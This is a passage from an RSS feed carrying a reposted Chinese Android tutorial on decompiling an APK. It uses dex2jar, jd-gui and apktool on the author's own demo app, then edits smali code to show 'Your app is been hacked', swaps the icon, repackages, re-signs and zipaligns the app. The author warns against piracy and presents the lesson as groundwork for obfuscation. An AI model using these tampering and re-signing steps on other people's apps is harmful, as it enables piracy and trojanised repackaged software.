<hr style="box-sizing:border-box;outline:0px;margin:24px 0px;border-top:none;border-right:none;border-left:none;border-image:initial;border-bottom-style:solid;border-bottom-color:#DDDDDD;word-break:break-all;" />
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	好了，本篇文章的内容就到这里，混淆技术掌握这么多相信已经足够大家在平时的工作当中使用了。当然除了使用混淆之外，还有一些加固软件也能提升程序的安全性，不过这些软件都是第三方的，并非Google原生支持，所以我就不进行讲解和推荐了。那么我们Android安全攻防战系列的文章到此结束，感谢大家有耐心看到最后。
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<span style="color:#999999;font-family:&quot;white-space:normal;background-color:#FFFFFF;">版权声明：本文出自郭霖的博客，。	https://blog.csdn.net/sinyu890807/article/details/50451259</span> 
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Sat, 01 Sep 2018 14:10:03 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=6</guid>

</item>
<item>
	<title>Android安全攻防战，反编译与混淆技术完全解析（上）</title>
	<link>https://www.zuoer.xin/?post=5</link>
	<description><![CDATA[<div class="article-copyright" style="box-sizing:inherit;outline:0px;padding:0px;margin:0px 0px 8px;word-break:break-all;color:#999999;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;font-family:&quot;">之前一直有犹豫过要不要写这篇文章，毕竟去反编译人家的程序并不是什么值得骄傲的事情。不过单纯从技术角度上来讲，掌握反编译功能确实是一项非常有用的技能，可能平常不太会用得到，但是一旦真的需要用到的了，而你却不会的话，那就非常头疼了。另外既然别人可以反编译程序，我们当然有理由应该对程序进行一定程度的保护，因此代码混淆也是我们必须要掌握的一项技术。那么最近的两篇文章我们就围绕反编译和混淆这两个主题来进行一次完全解析。</span>
</div>
<hr style="box-sizing:border-box;outline:0px;margin:24px 0px;border-top:none;border-right:none;border-left:none;border-image:initial;border-bottom-style:solid;border-bottom-color:#DDDDDD;word-break:break-all;" />
<h1 id="反编译" style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;">
	<a name="t0"></a>反编译
</h1>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	我们都知道，Android程序打完包之后得到的是一个APK文件，这个文件是可以直接安装到任何Android手机上的，我们反编译其实也就是对这个APK文件进行反编译。Android的反编译主要又分为两个部分，一个是对代码的反编译，一个是对资源的反编译，我们马上来逐个学习一下。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
在开始学习之前，首先我们需要准备一个APK文件，为了尊重所有开发者，我就不拿任何一个市面上的软件来演示了，而是自己写一个Demo用来测试。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
这里我希望代码越简单越好，因此我们建立一个新项目，在Activity里加入一个按钮，当点击按钮时弹出一个Toast，就这么简单，代码如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        Button button = (Button) findViewById(R.id.button);

        button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) {

                Toast.makeText(MainActivity.this, "you clicked button", Toast.LENGTH_SHORT).show();

            }

        });

    }

}</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	activity_main.xml中的资源如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-java linenums">&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout  xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin"&gt; &lt;Button  android:id="@+id/button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Button"/&gt; &lt;/RelativeLayout&gt;</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	然后我们将代码打成一个APK包，并命名成Demo.apk，再把它安装到手机上，结果如下所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160204142511216" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
好的，到这里准备工作就已经基本完成了，接下来就让我们开始对这个Demo程序进行反编译吧。
<h2 id="反编译代码" style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:24px;color:#4F4F4F;line-height:32px;word-break:break-all;">
	<a name="t1"></a>反编译代码
</h2>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	要想将APK文件中的代码反编译出来，我们需要用到以下两款工具：
</p>
<ul style="box-sizing:border-box;outline:0px;padding:0px;margin:0px 0px 24px;list-style:none;word-break:break-all;">
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">dex2jar</span>&nbsp;这个工具用于将dex文件转换成jar文件&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
下载地址：<a href="http://sourceforge.net/projects/dex2jar/files/" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">http://sourceforge.net/projects/dex2jar/files/</a> 
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">jd-gui</span>&nbsp;这个工具用于将jar文件转换成java代码&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
下载地址：<a href="http://jd.benow.ca/" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">http://jd.benow.ca/</a> 
	</li>
</ul>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	将这两个工具都下载好并解压，然后我们就开始对Demo程序进行反编译。解压dex2jar压缩包后，你会发现有很多个文件，如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160204153609614" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
其中我们要用到的是d2j-dex2jar.bat这个文件，当然如果你是linux或mac系统的话就要用d2j-dex2jar.sh这个文件。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
然后我们将Demo.apk文件也进行解压，如果不知道怎么直接解压的可以先将文件重命名成Demo.zip，然后用解压软件打开。解压之后你会发现里面有一个classes.dex文件，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160204160337530" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<p>
	这个classes.dex文件就是存放所有java代码的地方了，我们将它拷贝到dex2jar解压后的目录下，并在cmd中也进入到同样的目录，然后执行：
</p>
<p>
	<br />
</p>
<pre class="prettyprint lang-java linenums">d2j-dex2jar classes.dex</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	执行结果如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160204160725801" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
没有报任何错误，这就说明我们已经转换成功了。现在观察dex2jar目录，你会发现多了一个文件，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160204161831426" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
可以看到，classes-dex2jar.jar这个文件就是我们借助工具之后成功转换出来的jar文件了。但是对于我们而言，jar文件也不是可读的，因此这里还需要再借助一下jd-gui这个工具来将jar文件转换成java代码。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
下面就很简单了，使用jd-gui工具打开classes-dex2jar.jar这个文件，结果如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160204162548914" width="900px" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
OK，由此可见，我们的代码反编译工作已经成功了，MainActivity中的代码非常清晰，基本已经做到了90%以上的还原工作。但是如果想要做到100%的代码还原还是非常有难度的，因为像setContentView()方法传入的参数，其实就是一个资源的id值而已，那么这里反编译也就只能将相应的id值进行还原，而无法变成像R.layout.activity_main这样直观的代码展示。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
另外，除了MainActivity之外，还有很多其它的代码也被反编译出来了，因为当前项目有引用support-v4和support-v7的包，这些引用的library也会作为代码的一部分被打包到classes.dex文件当中，因此反编译的时候这些代码也会一起被还原。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
好的，学完了反编译代码，接下来我们看一下如何反编译资源。
<h2 id="反编译资源" style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:24px;color:#4F4F4F;line-height:32px;word-break:break-all;">
	<a name="t2"></a>反编译资源
</h2>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	其实细心的朋友可能已经观察到了，刚才Demo.apk的解压目录当中不是已经有资源文件了吗，有AndroidManifest.xml文件，也有res目录。进入res目录当中，内容如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205114006588" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
这不是所有资源文件都在这里了么？其实这些资源文件都是在打包的时候被编译过了，我们直接打开的话是看不到明文的，不信的话我们打开AndroidManifest.xml文件来瞧一瞧，内容如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205114422374" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
可以看到，这代码是完全没法阅读的。当然如果你去打开activity_main.xml看看，结果也不会好到哪儿去：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205114648290" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
由此可见，直接对APK包进行解压是无法得到它的原始资源文件的，因此我们还需要对资源进行反编译才行。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
要想将APK文件中的资源反编译出来，又要用到另外一个工具了：
<ul style="box-sizing:border-box;outline:0px;padding:0px;margin:0px 0px 24px;list-style:none;word-break:break-all;">
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">apktool</span>&nbsp;这个工具用于最大幅度地还原APK文件中的9-patch图片、布局、字符串等等一系列的资源。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
下载地址：<a href="http://ibotpeaches.github.io/Apktool/install/" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">http://ibotpeaches.github.io/Apktool/install/</a> 
	</li>
</ul>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	关于这个工具的下载我还要再补充几句，我们需要的就是apktool.bat和apktool.jar这两个文件。目前apktool.jar的最新版本是2.0.3，这里我就下载最新的了，然后将apktool_2.0.3.jar重命名成apktool.jar，并将它们放到同一个文件夹下就可以了，如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205125449076" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<p>
	接下来的工作就很简单了，我们将Demo.apk拷贝到和这两个文件同样的目录当中，然后cmd也进入到这个目录下，并在cmd中执行如下命令：
</p>
<p>
	<br />
</p>
<pre class="prettyprint linenums">apktool d Demo.apk</pre>
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;">其中d是decode的意思，表示我们要对Demo.apk这个文件进行解码。那除了这个基本用法之外，我们还可以再加上一些附加参数来控制decode的更多行为：</span> 
</p>
<ul style="box-sizing:border-box;outline:0px;padding:0px;margin:0px 0px 24px;list-style:none;word-break:break-all;">
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">-f</span>&nbsp;如果目标文件夹已存在，则强制删除现有文件夹（默认如果目标文件夹已存在，则解码失败）。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">-o</span>&nbsp;指定解码目标文件夹的名称（默认使用APK文件的名字来命名目标文件夹）。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">-s</span>&nbsp;不反编译dex文件，也就是说classes.dex文件会被保留（默认会将dex文件解码成smali文件）。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">-r</span>&nbsp;不反编译资源文件，也就是说resources.arsc文件会被保留（默认会将resources.arsc解码成具体的资源文件）。
	</li>
</ul>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	常用用法就这么多了，那么上述命令的执行结果如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205130623698" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
这就说明反编译资源已经成功了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
当然即使你在和我执行一模一样的操作，也有可能会在这里反编译失败，比如说会报如下错误：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205131116809" alt="这里写图片描述" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
出现这个错误的原因很有可能是你之前使用过apktool的老版本进行过反编译操作，然后apktool就会在你系统的<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">C:\Users\Administrator\apktool\framework</code>这个目录下生成一个名字为<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">1.apk</code>的缓存文件，将这个缓存文件删除掉，然后再重新执行反编译命令应该就可以成功了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
现在你会发现在当前目录下多了一个Demo文件夹，这个文件夹中存放的就是反编译的结果了。我们可以打开AndroidManifest.xml来瞧一瞧，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205184526870" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
怎么样？这样就完全能看得懂了吧，然后可以再到res/layout中看一下activity_main.xml文件，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160205185353442" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
可以看到，activity_main.xml中的内容基本和源代码中的内容是一致的，外层是一个RelativeLayout，里面则是一个Button。你可以再到其它目录中去看一看别的资源，基本上都是可以正常还原的，这样我们就把反编译资源的方法也已经掌握了。
<h2 id="重新打包" style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:24px;color:#4F4F4F;line-height:32px;word-break:break-all;">
	<a name="t3"></a>重新打包
</h2>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	那么对于反编译出来的文件夹，我们能不能重新把它打包成APK文件呢？答案是肯定的，只不过我实在想不出有什么义正言辞的理由可以让我们这么做。有的人会说汉化，没错，汉化的方式确实就是将一个APK进行反编译，然后翻译其中的资源再重新打包，但是不管怎么说这仍然是将别人的程序进行破解，所以我并不认为这是什么光荣的事情。那么我们就不去讨论本身这件事情的对或错，这里只是站在技术的角度来学习一下重新打包的相关知识。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
首先我们来看一下通过apktool反编译后的包目录情况，如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160208234027946" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
其中，original文件夹下存放的是未经反编译过、原始的AndroidManifest.xml文件，res文件夹下存放的是反编译出来的所有资源，smali文件夹下存放的是反编译出来的所有代码，AndroidManifest.xml则是经过反编译还原后的manifest文件。这里值得一提的是smali文件夹，如果你进入到这个文件夹中你会发现它的目录结构和我们源码中src的目录结构是几乎一样的，主要的区别就是所有的java文件都变成了smali文件。smali文件其实也是真正的源代码，只不过它的语法和java完全不同，它有点类似于汇编的语法，是Android虚拟机所使用的寄存器语言，语法结构大概如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160208235859750" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
看上去有点晕头转向是吗？但是如果你一旦能够看得懂smali文件的话，那么你就可以做很恐怖的事情了——你可以随意修改应用程序内的逻辑，将其进行破解！&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
不过我对这种黑技术并没有什么太大的兴趣，因此我也没有去做具体研究，但即使是这样，也已经可以对程序的逻辑做一定程度的修改了。比如说当我们点击按钮时会弹出<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">you clicked button</code>这样一句Toast，逻辑是写在MainActivity按钮点击事件的匿名类当中的，因此这段代码反编译之后一定就会在MainActivity$1.smali这个文件当中，让我们打开瞧一瞧，部分代码如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160209154620278" width="900px" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
虽说多数的代码我是看不懂的，但其中第47行实在太明显了，Toast显示的内容不就是在这里定义的么，那么如果我们想把Demo程序hack掉，就可以将这段字符串给改掉，比如说我把它改成<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">Your app is been hacked</code>。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
关于smali的语法，网上的资料也非常多，如果你对这门技术十分感兴趣的话可以直接上网去搜，这里我只是简单介绍一下，就不再深入讲解相关知识了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
改了一处代码后我们再来改一处资源吧，比如这里想要把Demo的应用图标给换掉，那么首先我们要准备好一张新的图片，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160209161422695" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
	<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	</center>
</center>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	然后从AndroidManifest.xml文件中可以看出，应用图标使用的是ic_launcher.png这张图片，那么我们将上面篮球这张图片命名成ic_launcher.png，然后拷贝到所有以res/mipmap开头的文件夹当中完成替换操作。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
在做了两处改动之后，我们现在来把反编译后的Demo文件夹重新打包成APK吧，其实非常简单，只需要在cmd中执行如下命令：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">apktool b Demo -o New_Demo.apk</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	其中b是build的意思，表示我们要将Demo文件夹打包成APK文件，-o用于指定新生成的APK文件名，这里新的文件叫作New_Demo.apk。执行结果如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160209163551554" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
现在你会发现在同级目录下面生成了一个新的APK文件：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160209175505785" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
不过不要高兴得太早了，目前这个New_Demo.apk还是不能安装的，因为它还没有进行签名。那么如果这是别人的程序的话，我们从哪儿能拿到它原来的签名文件呢？很显然，这是根本没有办法拿到的，因此我们只能拿自己的签名文件来对这个APK文件重新进行签名，但同时也表明我们重新打包出来的软件就是个十足的盗版软件。这里大家学学技术就好了，希望不要有任何人去做什么坏事情。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
那么这里我就用一个之前生成好的签名文件了，使用Android Studio或者Eclipse都可以非常简单地生成一个签名文件。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<p>
	有了签名文件之后在cmd中执行签名命令就可以进行签名了，命令格式如下：
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;"> </span>
</p>
<pre class="prettyprint lang-js linenums">jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore 签名文件名 -storepass 签名密码 待签名的APK文件名 签名的别名</pre>
<br />
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;">其中jarsigner命令文件是存放在jdk的bin目录下的，需要将bin目录配置在系统的环境变量当中才可以在任何位置执行此命令。&nbsp;</span> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	签名之后的APK文件现在已经可以安装到手机上了，不过在此之前Android还极度建议我们对签名后的APK文件进行一次对齐操作，因为这样可以使得我们的程序在Android系统中运行得更快。对齐操作使用的是zipalign工具，该工具存放于<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">&lt;Android SDK&gt;/build-tools/&lt;version&gt;</code>目录下，将这个目录配置到系统环境变量当中就可以在任何位置执行此命令了。命令格式如下：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">zipalign 4 New_Demo.apk New_Demo_aligned.apk</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	其中4是固定值不能改变，后面指定待对齐的APK文件名和对齐后的APK文件名。运行这段命令之后就会生成一个New_Demo_aligned.apk文件，如下所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160209175645990" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
这个New_Demo_aligned.apk就是我们重新打包签名对齐后的文件了，现在把它安装到手机上，效果如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160212105044897" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
